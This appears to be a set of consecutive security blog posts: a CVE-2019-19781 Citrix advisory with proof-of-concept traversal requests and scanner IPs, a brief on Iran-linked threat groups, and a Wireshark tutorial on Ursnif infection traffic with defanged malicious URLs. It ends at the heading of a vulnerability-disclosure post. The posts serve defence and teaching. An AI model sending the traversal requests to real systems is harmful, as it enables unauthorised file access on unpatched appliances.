• Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

This vulnerability is tracked using CVE-2019-19781 and comes with a 9.8 critical CVSS v3.1 base score. Unit 42 researchers found scanning activities in the wild which leverages this vulnerability and have identified additional Indicators of Compromise since this vulnerability was initially disclosed on January 10. Palo Alto Networks released protection for our customers on January 7, 2020 through Threat Prevention Signatures 57497, 57570.

In this blog, we provide the root cause analysis of the vulnerability, Proof of Concept examples (PoC) and attack activities we observed in the wild.

Root Cause Analysis of the Vulnerability

This directory traversal vulnerability is caused by improper handling of the pathname. The system doesn't have a data sanitation check and uses the path in incoming requests directly. When the vulnerable system receives a request containing a path like /vpn/../vpns/services.html, the Apache server running in the Citrix products transforms the path from /vpn/../vpns/ into simply /vpns/. This vulnerability in the Apache system could allow remote attackers to exploit directory traversal requests and access sensitive files without the need for user authentication.

In other situations, it could be more severe. The directory traversal can be applied to a user input without authentication and sanitation. From which, the attacker can make a crafted XML file in the vulnerable server using a POST request. Afterward, when the attacker makes another HTTP request to visit the rendered file, the malicious code inside the XML file can be executed.

Proof of Concept

We manipulated the following PoCs in a testing environment and observed the responses from those directory traversal requests. The PoCs clearly show that requests with directory traversal were successfully handled by the vulnerable systems. Some of the requests even provided access to sensitive files, leading to an information leak, or even a remote code execution.

  • GET /vpn/../vpns/services.html HTTP/1.1

Figure 1. Successful response with PoC request

  • GET /vpn/../vpns/cfg/smb.conf HTTP/1.1

Figure 2. Successfully access smb.conf file with PoC request

  • GET /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
  • GET /vpn/../vpns/portal/scripts/rmbm.pl HTTP/1.1

Exploits in the Wild

We took a glance at the vulnerable systems that have already been exposed to the Internet. With a simple search targeting Citrix ADC on Shodan, there were roughly 700 results referring to the vulnerable Citrix products. We believe this number could sharply increase with a more detailed search.

Figure 3. Vulnerable Citrix hosts list from Shodan

We captured multiple attempts to exploit this vulnerability in the wild through the Palo Alto Networks Next-Generation Firewall platform. As seen in Figure 5, a directory traversal request could allow smb.conf to be exposed and retrieved without any user authentication. As seen in Figure 6, NSC_USER can be a key to exploit directory traversal in an HTTP header which could lead to remote code execution.

Figure 4. Attack activity found in the wild

Figure 5. Directory traversal request found in the wild

Figure 6. Directory traversal request found in the wild

Conclusion

This vulnerability has wide exposure in customer environments around the world and is wildly being exploited according to Unit 42 and other security research organizations. Unfortunately, It is also easily exploited and leads to remote code execution.

On December 17, 2019, Citrix released Security Bulletin CTX267027 and also published Mitigation Steps CTX267679 that can help guard against the possibility of attacks. Citrix also announced that a patch will be released for Citrix ADC and Citrix Gateway 10, 11, 12 and 13 in late January.

Citrix recommends users apply a specific responder policy to filter exploitation attempts. The mitigation steps describe techniques to block the requests that contain a directory traversal attempt /../ and also requests that attempt to access the /vpns/ directory. System administrators are strongly encouraged to deploy this mitigation strategy while awaiting a proper fix for the vulnerability.

Palo Alto Networks customers who deploy our Next-Generation Security Platform according to best practices and have a Threat Prevention Subscription were proactively protected against exploitation of the Citrix ADC vulnerability. Palo Alto Networks released protection to customers on January 7, 2020 and public reports of successful exploitation were reported on January 11, 2020. Unit 42 will continue to monitor exploitation of this vulnerability and will add additional protections as exploitation continues to occur.

  • Threat Prevention Signatures 57497, 57570
  • The following IP addresses associated with abnormal scanning activity to exploit this vulnerability were added to the “Palo Alto Networks - Known Malicious IP addresses” block list. Customers running PAN-OS 8.1 or later can leverage the pre-defined External Dynamic Lists to deliver blocking in the policy.

IoCs

111[.]206[.]59[.]134

111[.]206[.]52[.]101

111[.]206[.]52[.]81

111[.]206[.]59[.]142

104[.]244[.]74[.]47

104[.]168[.]166[.]234

23[.]129[.]64[.]157

27[.]115[.]124[.]70

27[.]115[.]124[.]9

27[.]115[.]124[.]74

45[.]32[.]45[.]46

45[.]83[.]67[.]200

47[.]52[.]196[.]15

47[.]52[.]196[.]152

167[.]88[.]7[.]134

185[.]212[.]170[.]163

5[.]101[.]0[.]209

185[.]220[.]101[.]69

85[.]248[.]227[.]164

192[.]236[.]192[.]119

192[.]236[.]192[.]3

94[.]140[.]114[.]194

 

Threat Brief: Iranian-Linked Cyber Operations

Posted on by Unit 42

Executive Summary

With elevated tensions in the Middle East region, there is significant attention being paid to the potential for cyber attacks emanating from Iran. The following threat brief contains a summary of historical campaigns that are associated with Iranian activity and does not expose any new threat or attack that has occurred since the events of January 3rd, 2020.

Since 2010, it is thought that Iran has been highly active in cyber operations campaigns throughout the world. A number of groups and campaigns have been named and published on by the private sector, but direct attribution to the nation-state of Iran is still largely lacking in many of these instances. Most attribution published by the private sector has relied on tactical evidence surrounding targeting and possible motivations. It is important to keep this in mind, while at the same time understanding that without additional evidence, the current attribution set is accepted industry-wide as fact. Unit 42 has not gathered evidence to specifically attribute any of the accepted groups as originating from Iran, but also has not observed any evidence to counter any publicly made claims.

Overview of Iran-Linked Campaigns: Some of the currently active groups or campaigns publicly attributed by the industry as originating from Iran are:

  • OilRig (AKA APT34/Helix Kitten)
  • MagicHound (AKA APT35/Newscaster/Cobalt Gypsy)
  • APT33 (AKA Refined Kitten/Elfin)
  • DarkHydrus
  • Shamoon
  • MuddyWater (AKA Static Kitten)

There appear to be two distinct motivators for these groups, espionage and destruction. The majority of observed attack campaigns have been espionage related, with the associated groups appearing to seek continued access into a target organization or access to sensitive data. A smaller number of highly focused destructive attacks have been observed over time, beginning with the original Shamoon attack in 2012, with additional iterations years after, and more recently with StoneDrill and ZeroCleare.

Overall, cyber attacks thought to be originating from Iran have been persistent and ongoing for the last decade. The target radius for these groups have spanned across the globe, across all major industries. Although perceived retaliatory actions may occur in the near future, even those actions are most likely in conjunction with ongoing attack campaigns and operations.

Iranian TTPs: Behaviorally, several tactics and techniques have been observed across multiple groups and campaigns over time. The following is a list of commonly observed tactics and techniques along with their associated ATT&CK IDs:

General Mitigations: With this knowledge of common behaviors, some mitigations recommendations are:

  • Increase education and awareness against phishing attacks in your organization via exercises and informational resources
  • Enable or implement multi-factor authentication on public facing systems, or more preferably, across the entire organization
  • Enable or implement credential theft detection features in network security devices
  • Enable or implement anomalous DNS behavior detection/prevention capability
  • Blacklist EldoS RawDisk driver, unless absolutely required for business purposes
  • Review security policies for macro documents and restrict execution where possible
  • Review security policies for script file execution on endpoints and restrict where possible
  • Review all public facing network applications and deploy up-to-date patches
  • Enable or implement domain or URL categorization features in network security devices
  • Scan endpoints for new or unknown scheduled tasks
  • Implement detection and prevention logic for behaviors associated with Mimikatz
  • Patch remotely exposed software for known vulnerabilities as soon as possible

Palo Alto Networks’ Customer Mitigations: Palo Alto Networks customers should adopt best practices and evaluate their security posture to protect against the threats outlined in this document as well as other threats that may impact their network and users.

Group Details

OilRig (AKA APT34/Helix Kitten)

https://attack.mitre.org/groups/G0049/

OilRig is a threat group Unit 42 named and discovered in May 2016. Since then, we have extensively researched their campaigns and operations. This threat group is extremely persistent and relies heavily on spear-phishing as their initial attack vector, but has also been associated with other more sophisticated attacks such credential harvesting campaigns and DNS hijacking. In their spear-phishing attacks, OilRig preferred macro-enabled Microsoft Office (Word and Excel) documents to install their custom payloads that came in the form of portable executables (PE), PowerShell and VBScripts. OilRig’s custom payloads frequently used DNS tunneling as a command and control (C2) channel.

Once gaining access to an end point, actors would use credential dumping tools, such as Mimikatz to gather credentials to legitimate accounts to then move laterally to other systems on the network. When presented with a webserver, OilRig would install a webshell as another ingress point to maintain access to the network.

References

https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/

https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

https://unit42.paloaltonetworks.com/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/

https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/

https://unit42.paloaltonetworks.com/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/

https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/

https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/

https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

Magic Hound (AKA APT35/Newscaster/Cobalt Gypsy)

https://attack.mitre.org/groups/G0059/

The Magic Hound campaign targeted energy, government, and technology organizations with spear-phishing emails as a delivery mechanism. These emails delivered macro-enabled Microsoft Office documents and PE files within attachments. The documents and executables attached to emails would install a variety of tools from portable PE files, .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open sourced Python RAT called Pupy.

The custom tools used in the Magic Hound campaign provided connections to other threat groups, such as the IRC Bot which was very similar to the Parastoo tool associated with the NEWSCASTER threat group. Also, a Magic Hound C2 server was also used as a C2 server for a tool called MPKBot that had been associated with the Rocket Kitten threat group.

References

https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/

APT33 (AKA Refined Kitten/Elfin)

https://attack.mitre.org/groups/G0064/

APT33 is a threat group thought to have strong interest in the aeronautics and energy sectors. They use spear-phishing attacks with a domain masquerading technique to make the links in their emails appear legitimate. They are known to use custom tools in conjunction with well-known publicly available backdoors that are sold in various hacking forums. A recent report uncovered this threat group’s attack infrastructure, which leveraged commercial VPN providers in addition to compromised systems to use as proxies to further mask their origins. This activity exemplified how this adversary group and other related groups will attack organizations outside of their mission objective to augment their own capabilities to complete their task.

References

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/

DarkHydrus

https://attack.mitre.org/groups/G0079/

The DarkHydrus threat group has targeted government entities and educational institutions with spear-phishing attacks and credential harvesting campaigns. DarkHydrus is a more sophisticated group when compared to others operating in the region, as their toolset and TTPs show a higher skill level. DarkHydrus has used custom tools in addition to publicly available red-teaming tools such as Phishery. They have also been observed using Google Drive for their C2 channel.

References

https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/

https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/

https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/

Shamoon

The original Shamoon attack was launched in 2012 and targeted two specific organizations in the energy sector with the goal of rendering their respective computer systems inoperable by wiping their disks. The attack package included a commercially available driver to execute the wiping tasks and also included a worming component which allowed the package to spread within a target organization in an automated manner. The 2012 incident was one of the first large scale targeted destructive attacks that had been publicly shared. Since the original 2012 attack, two other instances of Shamoon have been discovered, in 2016 as well as 2018. In each instance, the primary capabilities and functionality remained largely the same.

References

https://securelist.com/shamoon-the-wiper-copycats-at-work/57854/

https://unit42.paloaltonetworks.com/unit42-shamoon-2-return-disttrack-wiper/

https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/

https://unit42.paloaltonetworks.com/unit42-shamoon-2-delivering-disttrack/

https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/

https://unit42.paloaltonetworks.com/shamoon-3-modified-open-source-wiper-contains-verse-from-the-quran/

MuddyWater (AKA Static Kitten)

MuddyWater is a group that emerged in 2017 and was initially thought to be part of the financially motivated criminal group commonly referred to as FIN7 due to the use of an open source tool that was used by both sets of activity. Additional investigation revealed no other similarities in either tools or tactics, thus concluding that the MuddyWater activity was likely operated by a separate actor. This group generally used spear-phishing with macro-enabled Office documents to deliver their payloads, which were either embedded directly in the macro, or hosted on a first stage C2 server. These C2 servers were observed to be either third party file hosting sites or code sharing repositories such as GitHub. A significant portion of MuddyWater’s toolset consisted of open sourced red-teaming tools such as Invoke-Obfuscation, Lazagne, Mimikatz, etc.

References

https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/

https://securelist.com/muddywater/88059/

https://www.clearskysec.com/muddywater2/

https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/

Conclusion

Assuming the highlighted groups are indeed Iranian in origin, their activity has been well documented and the various groups often times use very similar tactics and techniques to execute their attacks, such as the heavy use of spear-phishing and credential harvesting. This activity has been persistent for the last decade, and it should be expected to continue or increase with recent geopolitical events. However, across all of these groups as well as others that were not highlighted, another consistent theme has been the abuse of poorly implemented IT and security policies. Enabling Multi-Factor Authentication (MFA) throughout an organization, properly segmenting networks, limited macro-enabled documents, and disallowing network activity to unknown domains are examples of relatively simple policies that could have assisted in the neutralization of these adversary groups’ malicious actions.

Indicators

Unit 42 has consolidated the IOCs of the referenced groups in this report and stored them in our GitHub repository. This dataset should not be considered comprehensive of all potential Iran-linked cyber operations, and may be subject to change without notice.

Link to IOCs on GitHub

 

Wireshark Tutorial: Examining Ursnif Infections

Posted on by Brad Duncan

Ursnif is banking malware sometimes referred to as Gozi or IFSB. The Ursnif family of malware has been active for years, and current samples generate distinct traffic patterns.

This tutorial reviews packet captures (pcaps) of infection Ursnif traffic using Wireshark. Understanding these traffic patterns can be critical for security professionals when detecting and investigating Ursnif infections.

This tutorial covers the following:

  • Ursnif distribution methods
  • Categories of Ursnif traffic
  • Five examples of pcaps from Ursnif infections

Note: This tutorial assumes you have a basic knowledge of Wireshark, and it uses a customized column display shown in this tutorial. You should also have experience with Wireshark display filters as described in this additional tutorial.

Ursnif Distribution Methods

Ursnif can be distributed through web-based infection chains and malicious spam (malspam). In some cases, Ursnif is a follow-up infection caused by different malware families like Hancitor, as reported in this recent example.

We frequently find examples of Ursnif from malspam-based distribution campaigns, such as the example in Figure 1.

Figure 1. Flowchart from one of the more common Ursnif distribution campaigns.

Categories of Ursnif Traffic

This tutorial covers two categories of Ursnif infection traffic:

  • Ursnif without HTTPS post-infection traffic
  • Ursnif with HTTPS post-infection traffic

Malware samples from either of these categories create the same type of artifacts on an infected Windows host. For example, both types of Ursnif remain persistent on a Windows host by updating the Windows registry, such as the example shown in Figure 2.

Figure 2. Example of Windows registry updates caused by samples of Ursnif, either with or without HTTPS post-infection traffic.

Example 1: Ursnif without HTTPS

The first pcap for this tutorial, Ursnif-traffic-example-1.pcap, is available here. The chain of events behind this traffic was tweeted here. Example 1 has been stripped of all traffic not directly related to the Ursnif infection.

Open the pcap in Wireshark and filter on http.request as shown in Figure 3.

Figure 3. The pcap for example 1 filtered in Wireshark.

In this example, the Ursnif-infected host generates post-infection traffic to 8.208.24[.]139 using various domain names ending with .at. This category of Ursnif causes the following traffic:

  • HTTP GET requests caused by the initial Ursnif binary
  • HTTP GET request for follow-up data, with the URL ending in .dat
  • HTTP GET and POST requests after Ursnif is persistent in the Windows registry

The following HTTP data is used during the traffic in our first example:

  • Domain for initial GET requests: w8.wensa[.]at
  • Request for follow-up data: hxxp://api2.casys[.]at/jvassets/xI/t64.dat
  • Domain for GET and POST requests after Ursnif is persistent: h1.wensa[.]at

Follow the TCP stream for the very first HTTP GET request at 20:13:09 UTC. The TCP stream window shows the full URL. Note how the GET request starts with /api1/ and is followed by a long string of alpha-numeric characters with backslashes and underscores. Figure 4 highlights the GET request.

Figure 4. Example of an HTTP GET request caused by our first Ursnif example.

We can find the same pattern from Ursnif activity caused by a Hancitor infection on December 10,2019. The pcap is available here. Mixed with the other malware activity, this December 10th example contains the following indicators for Ursnif:

  • Domain for initial GET requests: foo.fulldin[.]at
  • Request for follow-up data: hxxp://one.ahah100[.]at/jvassets/o1/s64.dat
  • Domain for GET and POST requests after Ursnif is persistent: api.ahah100[.]at

Note how patterns from Ursnif traffic in the December 10th example are similar to the patterns we find in example 1. These patterns are commonly seen from Ursnif samples that do not use HTTPS traffic.

Example 2: Ursnif with HTTPS

The second pcap for this tutorial, Ursnif-traffic-example-2.pcap, is available here. Like our first pcap, this one has also been stripped of any traffic not related to the Ursnif infection.

Open the pcap in Wireshark and filter on http.request or ssl.handshake.type == 1 as shown in Figure 5. If you are using Wireshark 3.0 or newer, filter on http.request or tls.handshake.type == 1 for the correct results.

Figure 5. The pcap for our second example filtered in Wireshark.

This example has the following sequence of events:

  • HTTP GET request that returns an initial Ursnif binary
  • HTTP GET requests caused by the initial Ursnif binary
  • HTTPS traffic after Ursnif is persistent in the Windows registry

Follow the TCP stream for the first HTTP GET request to ghinatronx[.]com. This TCP stream reveals a Windows executable or DLL file as shown in Figure 6. We can export the Ursnif binary from the pcap as described in this previous tutorial.

Figure 6. The first HTTP GET request returning a binary for Ursnif.

The next four HTTP requests to bjanicki[.]com were caused by the Ursnif binary. Follow the TCP stream for the first HTTP GET request to bjanicki[.]com at 18:46:21 UTC. This TCP stream shows the full URL. Note how the GET request starts with /images/ and is followed by a long string of alpha-numeric characters with backslashes and underscores before ending with .avi. This URL pattern is somewhat similar to Ursnif traffic from our first pcap. Figure 7 highlights a GET request from our second pcap.

Figure 7. Example of an HTTP GET request from our second Ursnif example.

Unlike our first example, Ursnif in this second pcap generates HTTPS traffic after it becomes persistent on an infected Windows host. Use your basic web filter as described in this previous tutorial for a quick review of the HTTPS traffic. Note the HTTPS traffic to prodrigo29lbkf20[.]com as shown in Figure 8.

Figure 8. Filtering on web traffic in Wireshark, highlighting the HTTPS traffic generated by Ursnif.

HTTPS traffic generated by this Ursnif variant reveals distinct characteristics in certificates used to establish encrypted communications. To get a closer look, filter on ssl.handshake.type == 11 (or tls.handshake.type == 11 in Wireshark 3.0 or newer). Select the first frame in the results and go to the frame details window. There we can expand lines and work our way to the certificate issuer data. Figure 9 shows how to begin.

Figure 9. Finding our way to the certificate issuer data.

As shown in Figure 9, we expand the line for Secure Sockets Layer in the frame details window. For Wireshark 3.0, this line shows as Transport Layer Security. Then we expand the line labeled TLSv1.2 Record Layer: Handshake Protocol: Certificate. Then we expand the line labeled Handshake Protocol: Certificate.

We keep expanding, until we find our way to the certificate issuer data as shown in Figure 10.

Figure 10. Certificate issuer data from HTTPS traffic caused by Ursnif.

In Figure 10 shown under the Handshake Protocol: Certificate line, we work our way down through the following items:

  • Certificates (615 bytes)
  • Certificate: 30820260308201c9a003020102020900c692c94106d77dfc...
  • signedCertificate
  • Issuer: rdnSequence (6)
  • rdnSequence: 6 items (id-at-commonName=*,id-at-organizationalUnitN...

Individual items under the rdnSequence line show properties of the certificate issuer. These reveal the following characteristics:

  • countryName=XX
  • stateOrProvinceName=1
  • localityName=1
  • organizationName=1
  • organizationalUnitName=1
  • commonName=*

This issuer data is not valid, and these patterns are commonly seen in Ursnif infections. But what does legitimate certificate data look like? Figure 11 shows valid data from a certificate issued by DigiCert.

Figure 11. Valid certificate issuer data.

One last thing about Ursnif is the IP address check by an Ursnif-infected host. This happens over DNS using a resolver at opendns[.]com. Like other IP address identifiers, this is a legitimate service. However, these services are commonly used by malware.

To see this IP address check, filter on dns.qry.name contains opendns.com and review the results as shown in Figure 12.

Figure 12. IP address check by an Ursnif-infected Windows host.

As shown in Figure 12, the Window host generated a dns query for resolver1.opendns[.]com followed by a DNS query to 208.67.222[.]222 for myip.opendns[.]com. The DNS query to myip.opendns[.]com returned the public IP address of the infected Windows host.

Example 3: Ursnif with Follow-up Malware

Our third pcap, Ursnif-traffic-example-3.pcap, is available here. This pcap also has unrelated activity stripped from the traffic, but it builds on our last example. Our third pcap includes what appears to be decoy traffic, and it also includes an HTTP GET request for follow-up malware. The sequence of events is:

  • HTTP GET request that returns an initial Ursnif binary
  • HTTP GET requests caused by the initial Ursnif binary, including decoy URLs
  • HTTPS traffic after Ursnif is persistent in the Windows registry
  • HTTP GET request for follow-up malware

Use your basic web filter as described in this previous tutorial for a quick review of the web-based traffic as shown in Figure 13.

Figure 13. Filtering our third pcap for web traffic in Wireshark.

In Figure 13, the initial HTTP request to sinicaleer[.]com returned a Windows executable for Ursnif. The remaining traffic visible Figure 13 was caused by the Ursnif executable until it became persistent.

Three HTTP requests to google[.]com follow similar URL patterns as Ursnif traffic to an actual malicious domain of ghdy656262oe[.]com. These HTTP GET requests to google[.]com appear to be decoy traffic, because they do not assist the infection. HTTPS traffic over TCP port 443 to gmail[.]com and www.google[.]com also serves no direct purpose for the infection, and that activity could also be classified as decoy traffic. Figure 14 shows an example of the decoy HTTP GET requests to google[.]com.

Figure 14. Decoy HTTP GET request by the Ursnif-infected host to a Google domain.

Note the HTTP traffic to ghdy656262oe[.]com. The first two GET requests to ghdy656262oe[.]com return a 404 Not Found response as shown in Figure 15. The third HTTP GET request returns a 200 OK response, and the infection continues as shown in Figure 16.

Figure 15. First two HTTP GET requests to malicious Ursnif domain return a 404 Not Found response.

Figure 16. Some false starts before the Ursnif infection continues.

Since the first HTTP GET request to ghdy656262oe[.]com was not a 200 OK, the infected Windows host cycled through other malicious domains to continue the infection. These two domains are tnzf3380au[.]top and xijamaalj[.]com. However, the DNS queries for these domains returned a “No such name” in response, so the infected Windows host went back to trying ghdy656262oe[.]com.

Use the following Wireshark filter to better see this sequence of events:

((http.request or http.response) and ip.addr eq 194.1.236.191) or dns.qry.name contains tnzf3380au or dns.qry.name contains xijamaalj

The results should appear similar to the column display in Figure 17.

Figure 17. Filtering to show how the infected Windows host tries Ursnif-related domains before it hits a 200 OK in HTTP traffic.

To review the rest of the infection, use your basic web filter and scroll to the end of the results. Figure 18 shows the post-infection traffic after Ursnif becomes persistent.

Figure 18. Post-infection traffic after Ursnif becomes persistent on the victim’s Windows host.

In Figure 18, after five HTTP GET requests to ghdy656262oe[.]com, we find traffic generated by the infected Windows host after Ursnif becomes persistent. This includes HTTPS traffic to google[.]com and gmail[.]com.

Traffic to vnt69tnjacynthe[.]com should have the same type of certificate issuer data we witnessed in our second pcap. But this traffic includes an HTTP GET request to carresqautomotive[.]com ending with .rar.

This URL ending in .rar returned follow-up malware. However, this follow-up malware is encoded or otherwise encrypted when sent over the network. The binary decoded on the infected Windows host, which is not seen in the infection traffic. Follow the TCP stream for the HTTP GET request to carresqautomotive[.]com, and you should see the same data as shown in Figure 19.

Figure 19. Follow-up malware sent to an Ursnif-infected Windows host.

This data is encrypted, so we cannot export a copy of the follow-up malware from the pcap. Therefore, we must rely on other post-infection traffic to determine what type of malware was sent to the Ursnif-infected host.

We have seen various types of follow-up malware from Ursnif infections, including Dridex, IcedID, Nymain, Pushdo, and Trickbot.

Our next example is an Ursnif infection with Dridex as the follow-up malware.

Example 4: Ursnif Infection with Dridex

Our fourth pcap, Ursnif-traffic-example-4.pcap, is available here. Unlike our first three examples, this pcap does not have unrelated activity stripped from the traffic.

Use your basic web filter to get a better idea of the traffic. Your results should appear similar to Figure 20.

Figure 20. Traffic from our fourth pcap filtered in Wireshark.

This pcap has the same sequence of events as our previous example, but it adds post-infection activity from the follow-up malware:

  • HTTP GET request that returns an initial Ursnif binary
  • HTTP GET requests caused by the initial Ursnif binary, including decoy URLs
  • HTTPS traffic after Ursnif is persistent in the Windows registry
  • HTTP GET request for follow-up malware
  • Post-infection activity from the follow-up malware

In this fourth example, the HTTP GET request for an initial Ursnif binary is to oklogallem[.]com. Ursnif causes HTTP GET requests to kh2714ldb[.]com before the infection becomes persistent.

Figure 21 shows activity after Ursnif is persistent, where Ursnif causes HTTPS traffic to s9971kbjjessie[.]com. We then see an HTTP GET request to startuptshirt[.]my for the follow-up malware. Finally we find post-infection traffic caused by the follow-up malware.

Figure 21. Activity from the infection after Ursnif is persistent.

Our fourth example follows the same infection patterns as our third pcap, but now we also have HTTPS/SSL/TLS traffic to 94.140.114[.]6 and 5.61.34[.]51 without any associated domain name. This is Dridex post-infection traffic.

Certificate issuer data for Dridex is different than certificate issuer data for Ursnif. Use the following filter to review the Dridex certificate data in our fourth pcap:

(ip.addr eq 94.140.114.6 or ip.addr eq 5.61.34.51) and ssl.handshake.type eq 11

Note: if you are using Wireshark 3.0 or newer, use tls.handshake.type instead of ssl.handshake.type.

Select the first frame in the results, go to the frame details window, and expand the certificate-related lines as shown by our second example in Figures 9 and 10. Examining certificate issuer data from our fourth pcap should look similar to Figures 22 and 23.

Figure 22. Working our way to the certificate issuer data in the Dridex traffic.

Figure 23. Reaching the certificate issuer data from one of the Dridex IP addresses.

Under the rdnSequence line, we find properties of the certificate issuer. Certificate issuer characteristics for HTTPS/SSL/TLS traffic at 94.140.114[.]6 follows:

  • countryName=NP
  • localityName=Kathmandu
  • organizationName=Buvecoww Fftaites O.V.E.E.
  • organizationalUnitName=Olfo Dusar Latha
  • commonName=ndltman-dsamutb.spiegel

Certificate issuer data is different for 5.61.34[.]51, but it follows a similar style:

  • countryName=MU
  • localityName=Port Louis
  • organizationName=Ppoffi Sourinop Cooperative
  • organizationalUnitName=ipeepstha and thicioi
  • commonName=plledsaprell.Byargt9wailen.voting

This type of issuer data is commonly seen for Dridex post-infection traffic. In our next example, you can further practice reviewing certificate issuer data for Dridex.

Example 5: Evaluation

The fifth pcap for this tutorial, Ursnif-traffic-example-5.pcap, is available here. Like our previous example, this pcap has an Ursnif infection followed by Dridex, so we can practice the skills described so far in this tutorial.

Based on what we have learned so far, open the fifth pcap in Wireshark, and answer the following questions:

  • For the initial Ursnif binary, which URL returned a Windows executable file?
  • After the initial Ursnif binary was sent, the infected Windows host contacted different domains for the HTTP GET requests. Which domain was the traffic successful and allowed the infection to proceed?
  • What domain was used in HTTPS traffic after Ursnif became persistent on the infected Windows host?
  • What URL ending in .rar was used to send follow-up malware to the infected Windows host?
  • What IP addresses were used for the Dridex post-infection traffic?

Answers follow.

Q: For the initial Ursnif binary, which URL returned a Windows executable file?

A: hxxp://ritalislum[.]com/obedle/zarref.php?l=sopopf8.cab

The only Windows executable file in this pcap is the initial Windows executable file for Ursnif. Use the following Wireshark search filter to quickly find this executable:

ip contains "This program"

This filter should provide only one frame in the results. Follow the TCP stream for this frame as shown in Figure 24.

Figure 24. Filtering to find a frame with the Windows executable file and following the TCP stream.

The TCP stream window contains the domain and URL from the GET request as shown in Figure 25.

Figure 25. URL info from the TCP stream.

Q: After the initial Ursnif binary was sent, the infected Windows host contacted different domains for the HTTP GET requests. Which domain was the traffic successful and allowed the infection to proceed?

A: k55gaisi[.]com

Use your basic web filter for an overview of the web traffic. HTTP requests caused by this variant of Ursnif start with GET /images/ as already seen in examples two, three, and four of this tutorial. The first HTTP request to k55gaisi[.]com at 15:36 UTC is noted in Figure 26. But if you follow the TCP stream, it shows a 404 Not Found as the response.

Figure 26. Searching web traffic for HTTP GET requests caused by Ursnif.

Also shown in Figure 26, the next HTTP GET request for an Ursnif-style URL is to bon11ljgarry[.]com at 15:37 UTC. The HTTP stream for that request reveals a redirect to a URL at www.search-error[.]com.

Scroll down further, and for similar traffic to leinwqoa[.]com as noted in Figure 27.

Figure 27. Finding another Ursnif-style URL that redirects to a search error page.

Scroll down further to find four HTTP GET requests to k55gaisi[.]com that return 200 OK responses. From this point, the Ursnif infection proceeds, and we find no further Ursnif-style HTTP requests that start with GET /images/.

Figure 28. Finding the Ursnif-style HTTP GET requests that return a 200 OK.

Q: What domain was used in HTTPS traffic after Ursnif became persistent on the infected Windows host?

A: n9maryjanef[.]com

When Ursnif is persistent, we no longer see Ursnif-style HTTP requests starting with GET /images/. Instead, we find Ursnif-related HTTPS traffic. Shortly after the final Ursnif-style HTTP GET request, HTTPS traffic to n9maryjanef[.]com begins on 185.118.165[.]109 as highlighted in Figure 29. This is Ursnif traffic.

Figure 29. HTTPS traffic caused by Ursnif.

You can confirm this is Ursnif traffic by filtering on ip.addr eq 185.118.165.109 and ssl.handshake.type == 11 and reviewing the certificate issuer data. The certificate issuer data should look the same as our second example in Figure 10.

Q: What URL ending in .rar was used to send follow-up malware to the infected Windows host?

A: hxxps://testedsolutionbe[.]com/wp-content/plugins/apikey/uaasdqweeeeqsd.rar

HTTP GET requests caused by Ursnif for follow-up malware end in .rar, so use the following filter to find this URL in our pcap:

http.request and ip contains .rar

The results should be similar to what we see in Figure 30.

Figure 30. Finding the URL for follow-up malware from this Ursnif infection.

Notice in Figure 30 how the HTTP GET request in Figure 30 redirects to an HTTPS URL.

Q: What IP addresses were used for the Dridex post-infection traffic?

A: 185.99.133[.]38 and 5.61.34[.]51

One of these IP addresses is the same as Dridex in our fourth pcap, and it has the same certificate issuer data. Dridex traffic to 185.99.133[.]38 has the same style of certificate issuer data as seen in example 4. Traffic to both IP addresses does not involve a domain name.

The Dridex post-infection traffic is easy to spot in this example if we look for any HTTPS/SSL/TLS traffic without a domain after the HTTP GET request ending in .rar as shown in Figure 31.

Figure 31. Finding the Dridex traffic in our fifth pcap.

Conclusion

This tutorial provided tips for examining Windows infections with Ursnif malware. More pcaps with examples of Ursnif activity can be found at malware-traffic-analysis.net.

For more help with Wireshark, see our previous tutorials:

Unit 42 Discovers 13 New Vulnerabilities Across Microsoft and Adobe Products

Posted on by John Harrison

Overview

Palo Alto Networks’ Unit 42 threat researchers have been credited with discovering six new vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of its December Adobe Security Bulletin APSB19-55 security updates. Additionally, seven new “important” rated vulnerabilities were addressed by the Microsoft Security Response Center (MSRC) as part of its September, October and November 2019 security update releases.

Vulnerabilities

